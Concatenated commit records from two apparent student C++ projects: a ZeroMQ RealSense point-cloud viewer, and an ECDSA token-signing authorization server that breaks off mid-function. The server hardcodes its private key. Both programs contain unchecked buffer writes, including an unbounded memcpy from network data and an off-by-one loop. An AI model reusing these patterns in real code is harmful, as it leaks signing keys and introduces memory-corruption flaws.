License\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n\/*******************************************************************************************************************\/\/**\n* @file realsense_request.cpp\n* @brief C++ example for receiving realsense image frames via a zmq request \/ response scheme.\n* @author Team WALL-E & Christopher D. McMurrough\n***********************************************************************************************************************\/\n\n#include <string>\n#include <iostream>\n#include <zmq.hpp>\n#include <pcl\/visualization\/cloud_viewer.h>\n#include <pcl\/point_cloud.h>\n#include <pcl\/point_types.h>\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/time.h>\n#include <ncurses.h>\n\n\/\/ configuration parameters\n#define NUM_COMNMAND_LINE_ARGUMENTS 1\n#define DISPLAY_WINDOW_NAME \"Received Image\"\n\n\/*******************************************************************************************************************\/\/**\n* @brief program entry point\n* @param[in] argc number of command line arguments\n* @param[in] argv string array of command line arguments\n* @return return code (0 for normal termination)\n* @author Christoper D. McMurrough\n***********************************************************************************************************************\/\nint main(int argc, char **argv)\n{\n \/\/ character capturing intialization\n initscr();\n int ch;\n nodelay(stdscr, TRUE);\n noecho();\n \n \/\/ store display parameters\n bool showFrames = false;\n \n \/\/ create the cloud viewer object\n pcl::visualization::CloudViewer m_viewer (DISPLAY_WINDOW_NAME);\n\n \/\/ validate and parse the command line arguments\n if(argc != NUM_COMNMAND_LINE_ARGUMENTS + 1)\n {\n printw(\"USAGE: %s <display_mode> \\n\", argv[0]);\n printw(\"WARNING: Proceeding with default execution parameters... \\n\");\n showFrames = true;\n }\n else\n {\n showFrames = atoi(argv[1]) > 0;\n }\n\n \/\/ initialize the zmq context and socket\n zmq::context_t context(1);\n zmq::socket_t subscriber(context, ZMQ_SUB);\n \n \/\/ connect to the image server\n printw(\"Connecting to server...\\n\");\n \n subscriber.connect (\"tcp:\/\/129.107.132.27:5555\");\n \n printw(\"Press S to stream images and C to capture one image...\\n\");\n \n\n \/\/ create a request object\n \/\/zmq::message_t request(5);\n \/\/memcpy(request.data(), \"Hello\", 5);\n\n \/\/ get new frames until the user presses the 'q' key\n bool running = true;\n bool stream = false;\n bool capture = false;\n while(running)\n {\n if ((ch = getch()) == int('s')) { \/\/ if presses \"stream\" button\n if (stream) { \/\/ if we were already streaming\n subscriber.setsockopt(ZMQ_UNSUBSCRIBE, \"\", 0); \/\/ UNSUBSCRIBE\n printw(\"S pressed: Stopping stream.\\n\"); \n } else { \/\/ else\n subscriber.setsockopt(ZMQ_SUBSCRIBE, \"\", 0); \/\/SUBSCRIBE\n printw(\"S pressed: Starting stream.\\n\"); \n }\n stream = !(stream); \/\/ toggle stream\n } else if (ch == int('c')) { \/\/ else if presses \"capture\" button\n subscriber.setsockopt(ZMQ_SUBSCRIBE, \"\", 0);\n capture = true;\n printw(\"C pressed: Capturing image.\\n\"); \n }\n \n if (stream || capture) {\n \/\/check for subscription\n \/\/ get the reply\n zmq::message_t reply;\n subscriber.recv(&reply);\n \/\/std::vector<uchar> buffer;\n std::cout << \"Received reply: \" << reply.size() << \" bytes\" << std::endl;\n\n \/\/ store the reply data into an image structure\n pcl::PointCloud<pcl::PointXYZRGB>::Ptr cloud (new pcl::PointCloud<pcl::PointXYZRGB>);\n cloud->height = 480;\n cloud->width = 640;\n cloud->is_dense = false;\n cloud->points.resize(640*480);\n std::memcpy(cloud->points.data(), reply.data(), reply.size());\n \/\/std::cout << cloud->points[0] << std::endl;\n \/\/cv::Mat image(480, 640, CV_8UC3, reply.data());\n \n \/\/cloud->points = reply.data();\n\n \/\/ display the result\n if(showFrames) {\n m_viewer.showCloud(cloud);\n }\n \n if (capture) { \/\/ we've received one image and can stop\n subscriber.setsockopt(ZMQ_SUBSCRIBE, \"\", 0);\n capture = false;\n }\n } \n\n \/\/ check for program termination\n if(m_viewer.wasStopped ()) {\n running = false;\n }\n }\n\n \/\/ close the subscriber\n subscriber.close();\n return 0;\n}\n<commit_msg>Added simple UI to client using ncurses<commit_after>\/\/\n\/\/ Copyright 2014 Team WALL-E\n\/\/\n\/\/ This program is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ This program is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU General Public License\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n\/*******************************************************************************************************************\/\/**\n* @file realsense_request.cpp\n* @brief C++ example for receiving realsense image frames via a zmq request \/ response scheme.\n* @author Team WALL-E & Christopher D. McMurrough\n***********************************************************************************************************************\/\n\n#include <string>\n#include <iostream>\n#include <zmq.hpp>\n#include <pcl\/visualization\/cloud_viewer.h>\n#include <pcl\/point_cloud.h>\n#include <pcl\/point_types.h>\n#include <pcl\/common\/common.h>\n#include <pcl\/common\/time.h>\n#include <ncurses.h>\n\n\/\/ configuration parameters\n#define NUM_COMNMAND_LINE_ARGUMENTS 1\n#define DISPLAY_WINDOW_NAME \"Received Image\"\n\n\/*******************************************************************************************************************\/\/**\n* @brief program entry point\n* @param[in] argc number of command line arguments\n* @param[in] argv string array of command line arguments\n* @return return code (0 for normal termination)\n* @author Christoper D. McMurrough\n***********************************************************************************************************************\/\nint main(int argc, char **argv)\n{\n \/\/ character capturing intialization\n initscr();\n int ch;\n nodelay(stdscr, TRUE);\n noecho();\n \n \/\/ store display parameters\n bool showFrames = false;\n \n \/\/ create the cloud viewer object\n pcl::visualization::CloudViewer m_viewer (DISPLAY_WINDOW_NAME);\n\n \/\/ validate and parse the command line arguments\n if(argc != NUM_COMNMAND_LINE_ARGUMENTS + 1)\n {\n printw(\"USAGE: %s <display_mode> \\n\", argv[0]);\n printw(\"WARNING: Proceeding with default execution parameters... \\n\");\n showFrames = true;\n }\n else\n {\n showFrames = atoi(argv[1]) > 0;\n }\n\n \/\/ initialize the zmq context and socket\n zmq::context_t context(1);\n zmq::socket_t subscriber(context, ZMQ_SUB);\n \n \/\/ connect to the image server\n printw(\"Connecting to server...\\n\");\n \n subscriber.connect (\"tcp:\/\/129.107.132.27:5555\");\n \n printw(\"Press S to stream images and C to capture one image...\\n\");\n \n\n \/\/ create a request object\n \/\/zmq::message_t request(5);\n \/\/memcpy(request.data(), \"Hello\", 5);\n\n \/\/ get new frames until the user presses the 'q' key\n bool running = true;\n bool stream = false;\n bool capture = false;\n while(running)\n {\n if ((ch = getch()) == int('s')) { \/\/ if presses \"stream\" button\n if (stream) { \/\/ if we were already streaming\n subscriber.setsockopt(ZMQ_UNSUBSCRIBE, \"\", 0); \/\/ UNSUBSCRIBE\n printw(\"S pressed: Stopping stream.\\n\"); \n } else { \/\/ else\n subscriber.setsockopt(ZMQ_SUBSCRIBE, \"\", 0); \/\/SUBSCRIBE\n printw(\"S pressed: Starting stream.\\n\"); \n }\n stream = !(stream); \/\/ toggle stream\n } else if (ch == int('c')) { \/\/ else if presses \"capture\" button\n subscriber.setsockopt(ZMQ_SUBSCRIBE, \"\", 0);\n capture = true;\n printw(\"C pressed: Capturing image.\\n\"); \n }\n \n if (stream || capture) {\n \/\/check for subscription\n \/\/ get the reply\n zmq::message_t reply;\n subscriber.recv(&reply);\n \/\/std::vector<uchar> buffer;\n std::cout << \"Received reply: \" << reply.size() << \" bytes\" << std::endl;\n\n \/\/ store the reply data into an image structure\n pcl::PointCloud<pcl::PointXYZRGB>::Ptr cloud (new pcl::PointCloud<pcl::PointXYZRGB>);\n cloud->height = 480;\n cloud->width = 640;\n cloud->is_dense = false;\n cloud->points.resize(640*480);\n std::memcpy(cloud->points.data(), reply.data(), reply.size());\n \/\/std::cout << cloud->points[0] << std::endl;\n \/\/cv::Mat image(480, 640, CV_8UC3, reply.data());\n \n \/\/cloud->points = reply.data();\n\n \/\/ display the result\n if(showFrames) {\n m_viewer.showCloud(cloud);\n }\n \n if (capture) { \/\/ we've received one image and can stop\n subscriber.setsockopt(ZMQ_UNSUBSCRIBE, \"\", 0);\n capture = false;\n }\n } \n\n \/\/ check for program termination\n if(m_viewer.wasStopped ()) {\n running = false;\n }\n }\n\n \/\/ close the subscriber\n subscriber.close();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <stdio.h>\n#include <sstream>\n#include <arpa\/inet.h>\n#include <unistd.h>\n#include <sys\/epoll.h>\n#include <errno.h>\n\n#include <openssl\/ec.h>\n#include <openssl\/bn.h>\n#include <openssl\/objects.h>\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/prettywriter.h\"\n#include \"base64.h\"\n\nusing namespace std;\nusing namespace rapidjson;\n\n#define MACHINE_IP inet_addr(\"127.0.0.1\")\n\nvector<string> split(string str, char delimiter) {\n\tvector<string> internal;\n\tstringstream ss(str);\n\tstring tok;\n\n\twhile(getline(ss, tok, delimiter)) {\n\t\tinternal.push_back(tok);\n\t}\t\n\n\treturn internal;\n}\n\nint sign(Document* d)\n{\n\n\tconst char private_key[] = \"F2506E09D4153EED5ACBE1D620C93CA0D5580EF41AC0A401\";\n\tconst char pub_key[] = \"027134EE605CB10FAE017BDD9FD88C96C8C080F08271637BB1\";\n\n\tECDSA_SIG *sig;\n\tchar sig_str[B64SIZE];\n\tBN_CTX *ctx;\n\tBIGNUM *a;\n\tEVP_MD_CTX* mdctx;\n\tconst EVP_MD* md;\n\tunsigned char md_value[EVP_MAX_MD_SIZE];\n\tunsigned int md_len;\n\tEC_KEY* auth_key;\n\tValue si;\n\n\n\tauth_key = EC_KEY_new_by_curve_name(NID_X9_62_prime192v3);\n\tif (auth_key == NULL) {\n\t\tprintf(\"failed to initialize curve\\n\");\n\t\treturn 1;\n \t}\n\n\n\tctx = BN_CTX_new();\n\tif(!ctx) {\n\t\tprintf(\"failed to create bn ctx\\n\");\n\t\treturn 1;\n \t}\n\t\n\tEC_KEY_set_public_key(auth_key,\n\tEC_POINT_hex2point(EC_KEY_get0_group(auth_key),pub_key, NULL, ctx));\n\ta = BN_new();\n\tBN_hex2bn(&a, private_key);\n\tEC_KEY_set_private_key(auth_key, a);\n\n\tBN_CTX_free(ctx);\n\n\tStringBuffer buffer;\n\tWriter<StringBuffer> writer(buffer);\n\td->Accept(writer);\n\n\tprintf(\"sig is signing: %s\\n\", buffer.GetString());\n\n\tOpenSSL_add_all_digests();\n\tmd = EVP_get_digestbyname(\"sha256\");\n\tif(md == 0) {\n\t\tprintf(\"Unknown message digest\\n\");\n\t\treturn 1;\n\t}\n\n\tmdctx = EVP_MD_CTX_create();\n\tEVP_DigestInit_ex(mdctx, md, NULL);\n\tEVP_DigestUpdate(mdctx, buffer.GetString(), buffer.GetSize());\n\tEVP_DigestFinal_ex(mdctx, md_value, &md_len);\n\tEVP_MD_CTX_destroy(mdctx);\n\n\tprintf(\"digest: \");\n\tdump_mem(md_value, md_len);\n\n\tsig = ECDSA_do_sign(md_value, md_len, auth_key);\n\n\tif (sig == NULL) {\n\t\tprintf(\"Signing failed\\n\");\n\t\treturn 1;\n \t}\n\n\tbase64encode(sig_str, sig->r, sig->s);\n\tsi.SetString(sig_str, B64SIZE, d->GetAllocator());\n\td->AddMember(\"si\", si, d->GetAllocator());\n\n\tprintf(\"sig: %s, %s\\n\", BN_bn2hex(sig->r), BN_bn2hex(sig->s));\n\treturn 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nchar* get_request(int fd) {\n char* message;\n size_t size = TOKENSIZE;\n int offset;\n\n message = (char*) realloc(NULL, sizeof(char)*size);\n if(!message) {\n printf(\"get_request: Failure to realloc\\n\");\n exit(1);\n }\n\n offset = -1;\n do {\n offset++;\n if (offset == size) {\n message = (char*) realloc(message, sizeof(char)*(size += 16)); \/\/??\n if(!message) {\n\tprintf(\"get_request: Failure to realloc\\n\");\n\texit(1);\n }\n }\n if(read(fd, message+offset, 1) <= 0) {\n printf(\"get_request: EOF encountered\\n\");\n\n char c = message[offset];\n message[offset] = 0;\n printf(\"story so far (%d): %s%c\\n\", offset, message, c);\n\n exit(1);\n }\n } while (message[offset] != 0);\n\n\n printf(\"get_request: message at %p: %s\\n\", message, message);\n\n return message;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*int process_mode(int fd, int choice, const char* port_mode1, const char* port_mode2) {\n\n int fd;\n socklen_t peer_addr_size = sizeof(struct sockaddr_in);\n char * sub_request;\n unsigned char response;\n struct sockaddr_in retAddress;\n \n printf(\"DEBUG: entering network loop\\n\");\n while(true) {\n \n printf(\"DEBUG: network loop: accepting connection...\\n\");\n fd = accept(soc, (struct sockaddr *) &retAddress, &peer_addr_size);\n if( fd == -1) {\n printf(\"listen: Failed to accept: %s\\n\", strerror(errno));\n exit(1);\n }\n printf( \"DEBUG: network loop: connection accepted, getting request from subject...\\n\");\n \n sub_request = get_request(fd);\n \n }\n \n\n\n\n\n\n\tchar* message;\n\tsize_t size = TOKENSIZE;\n\tunsigned int offset;\n\n\n\t\/\/ step 1: read request from client, common for both mode1 and mode2\n \n\tmessage = (char*) realloc(NULL, sizeof(char)*size);\n\tif(!message) {\n\t\tprintf(\"process_mode: Failure to realloc\\n\");\n\t\texit(1);\n \t}\n\n\toffset = 0;\n\tdo {\n\n\t\tif (offset == size) {\n\t\t\tmessage = (char*) realloc(message, sizeof(char)*(size += 16)); \n\t\t\tif(!message) {\n\t\t \tprintf(\"process_mode: Failure to realloc\\n\");\n\t\t \texit(1);\n \t\t\t}\t\n \t\t}\n\n\t\tif(read(fd, message+offset, 1) <= 0) {\n\t\t\tprintf(\"process_mode: EOF encountered\\n\");\n\n\t\t\tchar c = message[offset];\n\t\t\tmessage[offset] = '\\0';\n\t\t\tprintf(\"story so far (%d): %s%c\\n\", offset, message, c);\n\n\t\t\texit(1);\n \t\t}\n\t\toffset++;\n\t} while (message[offset-1] != '\\0');\n\n\n\tprintf(\"DEBUG: process_mode: message at %p: %s\\n\", message, message);\n\n\t\/\/ step 2: create token 'd', common for both mode1 and mode2 \n \n\tvector<string> sep = split(message, '\\n');\n\tconst char * pub_key = sep[0].c_str();\n\tconst char * res_add = sep[1].c_str();\n\n\tcout << \"public key (b64): \" << pub_key << \"\\n\";\n\tcout << \"resource address: \" << res_add << \"\\n\";\n\n\tDocument d;\n\tValue ii, nb, na, suv, dev;\n\tunsigned int now;\n\n\td.Parse(\"{}\");\n\n\tnow = time(NULL);\n\tii.SetInt(now);\n\tnb.SetInt(now);\n\tna.SetInt(1600000000);\n\tsuv.SetString(pub_key, strlen(pub_key), d.GetAllocator());\n\tdev.SetString(res_add, strlen(res_add), d.GetAllocator());\n\n\td.AddMember(\"id\", \"fake identifier\", d.GetAllocator());\n\td.AddMember(\"ii\", ii, d.GetAllocator());\n\td.AddMember(\"is\", \"fake issuer\", d.GetAllocator());\n\td.AddMember(\"su\", suv, d.GetAllocator());\n\td.AddMember(\"de\", dev, d.GetAllocator());\n\td.AddMember(\"ar\", \"fake access rights\", d.GetAllocator());\n\td.AddMember(\"nb\", nb, d.GetAllocator());\n\td.AddMember(\"na\", na, d.GetAllocator());\n\n\tsign(&d);\n\n\t\/\/ Step 3: Mode choice dependent\n\t\/\/ (Mode 1, return token to client)\n\tif (choice == 1) {\n\t\tStringBuffer buffer;\n\t\tWriter<StringBuffer> writer(buffer);\n\t d.Accept(writer);\n\n \tcout << \"buffer data : \" << buffer.GetString();\n\t\tcout << \"\\n buffer len:\" << buffer.GetSize();\n\n\t if(write(fd, buffer.GetString(), buffer.GetSize()+1) < 0) {\n\t\t printf(\"Failed to write to socket\\n\");\n \t}\n\t \/\/ return 1;\n\t \n\t}\n \n \n\t\/\/ (Mode 2, return token to resource, token ID to client)\n\n\telse if(choice == 2 ){\n \n \tcout << \"Mode 2\\n\";\n \n\t int soc2;\n \tuint16_t port = strtol(port_mode2, NULL, 10);\n\t char null_string[17];\n \n \tsoc2 = socket(AF_INET, SOCK_STREAM, 0);\n\t if(soc2 < 0) {\n \t\tprintf(\"failed to create socket: %s\\n\", strerror(errno));\n \t}\n\n\t \tstruct sockaddr_in connectAddress;\n\t memset(&connectAddress, 0, sizeof(connectAddress));\n \tconnectAddress.sin_family = AF_INET;\n\t connectAddress.sin_addr.s_addr = MACHINE_IP;\n \tconnectAddress.sin_port = htons(port);\n \n\t if(connect(soc2, (struct sockaddr *) &connectAddress, sizeof(connectAddress)) < 0) {\n \t\tprintf(\"send token to resource: failed to connect to resource: %s\\n\", strerror(errno));\n \t}\n\n\n\t\t\/\/ insert code for null string here\n \tint i;\n \n\t\t\/\/ add 17 NULLS before sending the json to resource -- one socket\n\t\t for (i = 0; i <=17; i++){\n\t \tnull_string[i] = (char) 0;\n\t } \n\t \n\t if(write(soc2, null_string, 17) < 0) {\n\t \tprintf(\"Failed to write null string to resource socket\\n\");\n\t }\n\t\n\t \/\/send token to resource here\n\t StringBuffer buffer;\n\t Writer<StringBuffer> writer(buffer);\n\t d.Accept(writer);\n\t\n\t cout << \"buffer data : \"<< buffer.GetString() ;\n\t cout << \"\\n buffer len:\" << buffer.GetSize() << \"\\n\";\n\t\n\t if(write(soc2, buffer.GetString(), buffer.GetSize()+1) < 0) {\n\t \tprintf(\"Failed to write to token to resource socket\\n\"); \n\t }\n\t \n\t \/\/send token ID to client\n\t \n int tokenID = d[\"ii\"].GetInt();\n \t std::string s_ID = std::to_string(tokenID);\n char const *tokenID_str = s_ID.c_str();\n \n cout << \"string token ID: \" << tokenID_str << \"\\n\";\n \n\t if(write(fd, tokenID_str, strlen(tokenID_str)+1) < 0) {\n\t \tprintf(\"Failed to write to socket\\n\");\n\n\t }\n\t\n\t \/\/ return 1;\n\t}\/\/ end of mode 2\n\n}*\/\n\nint bootstrap_network(const char* port_sub){\n\n\tint soc;\n\tuint16_t port = strtol(port_sub, NULL, 10); \/\/ from arguments\n\n\tsoc = socket(AF_INET, SOCK_STREAM, 0);\n\tif (soc == -1)\t{\n\t\tprintf(\"Failed to open socket\\n\");\n\t\treturn 1;\n \t}\n\n \tstruct sockaddr_in connectAddress;\n\tmemset(&connectAddress, 0, sizeof(connectAddress));\n\tconnectAddress.sin_family = AF_INET;\n\tconnectAddress.sin_addr.s_addr = MACHINE_IP;\n\tconnectAddress.sin_port = htons(port);\n\n\tif(bind(soc, (struct sockaddr *) &connectAddress, sizeof(connectAddress)) == -1) {\n\t\tprintf(\"bootstrap: Failed to bind\\n\");\n\t\texit(1);\n \t}\n\n\tif(listen(soc, 5) == -1) {\n\t\tprintf( \"bootstrap: Failed to listen\\n\");\n\t\texit(1);\n \t}\n\n\treturn soc;\n}\n\nint listen_block(int soc,int choice, const char* port_mode1, const char* port_mode2){\n\n\tint fd;\n\tsocklen_t peer_addr_size = sizeof(struct sockaddr_in);\n\tstruct sockaddr_in retAddress;\n char * sub_request;\n\n\tprintf(\"DEBUG: entering network loop\\n\");\n\t\n\twhile(true) {\n\t\tprintf(\"DEBUG: network loop: accepting connection...\\n\");\n\t\tfd = accept(soc, (struct sockaddr *) &retAddress, &peer_addr_size);\n\t\t\n\t\tif( fd == -1) {\n\t\t\tprintf(\"listen: Failed to accept: %s\\n\", strerror(errno));\n\t\t\texit(1);\n \t\t}\n\t\t\n\t\tprintf( \"DEBUG: network loop: connection accepted, getting request from subject...\\n\");\n \n\t\tsub_request = get_request(fd);\n\n \t}\n \t\n \tstring message = sub_request;\n \tvector<string> sep = split(message, '\\n');\n\t const char * pub_key = sep[0].c_str();\n\t const char * res_add = sep[1].c_str();\n\n\t cout << \"public key (b64): \" << pub_key << \"\\n\";\n\t cout << \"resource address: \" << res_add << \"\\n\";\n\t\n\t\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**********************************************\n\t Document d;\n\t Value ii, nb, na, suv, dev;\n\t unsigned int now;\n\n\t d.Parse(\"{}\");\n\n\t now = time(NULL);\n\t ii.SetInt(now);\n\t nb.SetInt(now);\n\t na.SetInt(1600000000);\n\t suv.SetString(pub_key, strlen(pub_key), d.GetAllocator());\n\t dev.SetString(res_add, strlen(res_add), d.GetAllocator());\n\n\t d.AddMember(\"id\", \"fake identifier\", d.GetAllocator());\n\t d.AddMember(\"ii\", ii, d.GetAllocator());\n\t d.AddMember(\"is\", \"fake issuer\", d.GetAllocator());\n\t d.AddMember(\"su\", suv, d.GetAllocator());\n\t d.AddMember(\"de\", dev, d.GetAllocator());\n\t d.AddMember(\"ar\", \"fake access rights\", d.GetAllocator());\n\t d.AddMember(\"nb\", nb, d.GetAllocator());\n\t d.AddMember(\"na\", na, d.GetAllocator());\n\n\t sign(&d);\n\n\t \/\/ Step 3: Mode choice dependent\n\t \/\/ (Mode 1, return token to client)\n\t if (choice == 1) {\n\t\t StringBuffer buffer;\n\t\t Writer<StringBuffer> writer(buffer);\n\t d.Accept(writer);\n\n cout << \"buffer data : \" << buffer.GetString();\n\t\t cout << \"\\n buffer len:\" << buffer.GetSize();\n\n\t if(write(fd, buffer.GetString(), buffer.GetSize()+1) < 0) {\n\t\t printf(\"Failed to write to socket\\n\");\n }\n \/\/ return 1;\n }\n \n \n\t \/\/ (Mode 2, return token to resource, token ID to client)\n\n\t else if(choice == 2 ){\n \n \tcout << \"Mode 2\\n\";\n \n\t int soc2;\n \tuint16_t port = strtol(port_mode2, NULL, 10);\n\t char null_string[17];\n \n \tsoc2 = socket(AF_INET, SOCK_STREAM, 0);\n\t if(soc2 < 0) {\n \t\tprintf(\"failed to create socket: %s\\n\", strerror(errno));\n \t}\n\n\t \t struct sockaddr_in connectAddress;\n\t memset(&connectAddress, 0, sizeof(connectAddress));\n \tconnectAddress.sin_family = AF_INET;\n\t connectAddress.sin_addr.s_addr = MACHINE_IP;\n \tconnectAddress.sin_port = htons(port);\n \n\t if(connect(soc2, (struct sockaddr *) &connectAddress, sizeof(connectAddress)) < 0) {\n \t\tprintf(\"send token to resource: failed to connect to resource: %s\\n\", strerror(errno));\n \t}\n\n\n\t\t \/\/ insert code for null string here\n \tint i;\n \n\t\t \/\/ add 17 NULLS before sending the json to resource -- one socket\n\t\t for (i = 0; i <=17; i++){\n\t \tnull_string[i] = (char) 0;\n\t } \n\t \n\t if(write(soc2, null_string, 17) < 0) {\n\t \tprintf(\"Failed to write null string to resource socket\\n\");\n\t }\n\t\n\t \/\/send token to resource here\n\t StringBuffer buffer;\n\t Writer<StringBuffer> writer(buffer);\n\t d.Accept(writer);\n\t\n\t cout << \"buffer data : \"<< buffer.GetString() ;\n\t cout << \"\\n buffer len:\" << buffer.GetSize() << \"\\n\";\n\t\n\t if(write(soc2, buffer.GetString(), buffer.GetSize()+1) < 0) {\n\t \tprintf(\"Failed to write to token to resource socket\\n\"); \n\t }\n\t \n\t \/\/send token ID to client\n\t \n int tokenID = d[\"ii\"].GetInt();\n \t std::string s_ID = std::to_string(tokenID);\n char const *tokenID_str = s_ID.c_str();\n \n cout << \"string token ID: \" << tokenID_str << \"\\n\";\n \n\t if(write(fd, tokenID_str, strlen(tokenID_str)+1) < 0) {\n\t \tprintf(\"Failed to write to socket\\n\");\n\n\t }\n\t\n\t \/\/ return 1;\n\t }\/\/ end of mode 2\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**********************************************\n\n}\n\nint main(int argc, char *argv[]){\n\n\tif(argc <= 3){\n\t\tprintf(\"insufficient arguments\\n\");\n\t\tprintf(\"sample argument: .\/auth <mode> <port_client> <port_resource>\\n\");\n\t\treturn 1;\n \t}\n \n\tint fd1, soc1;\n \tsoc1 = bootstrap_network(argv[2]);\n\t\/\/fd1 = listen_block(soc1);\n\tconst char* port_client = argv[2];\n\tconst char* port_resource = argv[3];\n\n \tif(!strcmp(argv[1], \"1\"))\n\t\tlisten_block(soc1,1,port_client,port_resource);\n \n \telse if(!strcmp(argv[1], \"2\")){\n\t\tlisten_block(soc1,2,port_client,port_resource);\n\t\t\n\t} \t\t\n \n\telse{\n\t\tprintf(\"Invalid mode: %s\", argv[1]);\n\t\texit(1);\n \t}\n\n\treturn 1;\n}\n<commit_msg>auth.cpp updated<commit_after>#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <vector>\n#include <stdio.h>\n#include <sstream>\n#include <arpa\/inet.h>\n#include <unistd.h>\n#include <sys\/epoll.h>\n#include <errno.h>\n\n#include <openssl\/ec.h>\n#include <openssl\/bn.h>\n#include <openssl\/objects.h>\n\n#include \"rapidjson\/document.h\"\n#include \"rapidjson\/prettywriter.h\"\n#include \"base64.h\"\n\nusing namespace std;\nusing namespace rapidjson;\n\n#define MACHINE_IP inet_addr(\"127.0.0.1\")\n\nvector<string> split(string str, char delimiter) {\n\tvector<string> internal;\n\tstringstream ss(str);\n\tstring tok;\n\n\twhile(getline(ss, tok, delimiter)) {\n\t\tinternal.push_back(tok);\n\t}\t\n\n\treturn internal;\n}\n\nint sign(Document* d)\n{\n\n\tconst char private_key[] = \"F2506E09D4153EED5ACBE1D620C93CA0D5580EF41AC0A401\";\n\tconst char pub_key[] = \"027134EE605CB10FAE017BDD9FD88C96C8C080F08271637BB1\";\n\n\tECDSA_SIG *sig;\n\tchar sig_str[B64SIZE];\n\tBN_CTX *ctx;\n\tBIGNUM *a;\n\tEVP_MD_CTX* mdctx;\n\tconst EVP_MD* md;\n\tunsigned char md_value[EVP_MAX_MD_SIZE];\n\tunsigned int md_len;\n\tEC_KEY* auth_key;\n\tValue si;\n\n\n\tauth_key = EC_KEY_new_by_curve_name(NID_X9_62_prime192v3);\n\tif (auth_key == NULL) {\n\t\tprintf(\"failed to initialize curve\\n\");\n\t\treturn 1;\n \t}\n\n\n\tctx = BN_CTX_new();\n\tif(!ctx) {\n\t\tprintf(\"failed to create bn ctx\\n\");\n\t\treturn 1;\n \t}\n\t\n\tEC_KEY_set_public_key(auth_key,\n\tEC_POINT_hex2point(EC_KEY_get0_group(auth_key),pub_key, NULL, ctx));\n\ta = BN_new();\n\tBN_hex2bn(&a, private_key);\n\tEC_KEY_set_private_key(auth_key, a);\n\n\tBN_CTX_free(ctx);\n\n\tStringBuffer buffer;\n\tWriter<StringBuffer> writer(buffer);\n\td->Accept(writer);\n\n\tprintf(\"sig is signing: %s\\n\", buffer.GetString());\n\n\tOpenSSL_add_all_digests();\n\tmd = EVP_get_digestbyname(\"sha256\");\n\tif(md == 0) {\n\t\tprintf(\"Unknown message digest\\n\");\n\t\treturn 1;\n\t}\n\n\tmdctx = EVP_MD_CTX_create();\n\tEVP_DigestInit_ex(mdctx, md, NULL);\n\tEVP_DigestUpdate(mdctx, buffer.GetString(), buffer.GetSize());\n\tEVP_DigestFinal_ex(mdctx, md_value, &md_len);\n\tEVP_MD_CTX_destroy(mdctx);\n\n\tprintf(\"digest: \");\n\tdump_mem(md_value, md_len);\n\n\tsig = ECDSA_do_sign(md_value, md_len, auth_key);\n\n\tif (sig == NULL) {\n\t\tprintf(\"Signing failed\\n\");\n\t\treturn 1;\n \t}\n\n\tbase64encode(sig_str, sig->r, sig->s);\n\tsi.SetString(sig_str, B64SIZE, d->GetAllocator());\n\td->AddMember(\"si\", si, d->GetAllocator());\n\n\tprintf(\"sig: %s, %s\\n\", BN_bn2hex(sig->r), BN_bn2hex(sig->s));\n\treturn 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint get_request(int fd, int choice, const char* port_mode) {\n \n char* message;\n size_t size = TOKENSIZE;\n int offset;\n\n \/\/ step 1: read request from client, common for both mode1 and mode2\n \n message = (char*) realloc(NULL, sizeof(char)*size);\n if(!message) {\n printf(\"get_request: Failure to realloc\\n\");\n exit(1);\n }\n\n offset = -1;\n do {\n offset++;\n if (offset == size) {\n \n message = (char*) realloc(message, sizeof(char)*(size += 16)); \n if(!message) {\n printf(\"get_request: Failure to realloc\\n\");\n\t exit(1);\n }\n }\n \n if(read(fd, message+offset, 1) <= 0) {\n printf(\"get_request: EOF encountered\\n\");\n char c = message[offset];\n message[offset] = 0;\n printf(\"story so far (%d): %s%c\\n\", offset, message, c);\n exit(1);\n }\n } while (message[offset] != 0);\n\n\n printf(\"get_request: message at %p: %s\\n\", message, message);\n \n\t vector<string> sep = split(message, '\\n');\n\t const char * pub_key = sep[0].c_str();\n\t const char * res_add = sep[1].c_str();\n\n\t cout << \"public key (b64): \" << pub_key << \"\\n\";\n\t cout << \"resource address: \" << res_add << \"\\n\";\n\n \/\/ step 2: create token 'd', common for both mode1 and mode2 \n\t Document d;\n\t Value ii, nb, na, suv, dev;\n\t unsigned int now;\n\n\t d.Parse(\"{}\");\n\n\t now = time(NULL);\n\t ii.SetInt(now);\n\t nb.SetInt(now);\n\t na.SetInt(1600000000);\n\t suv.SetString(pub_key, strlen(pub_key), d.GetAllocator());\n\t 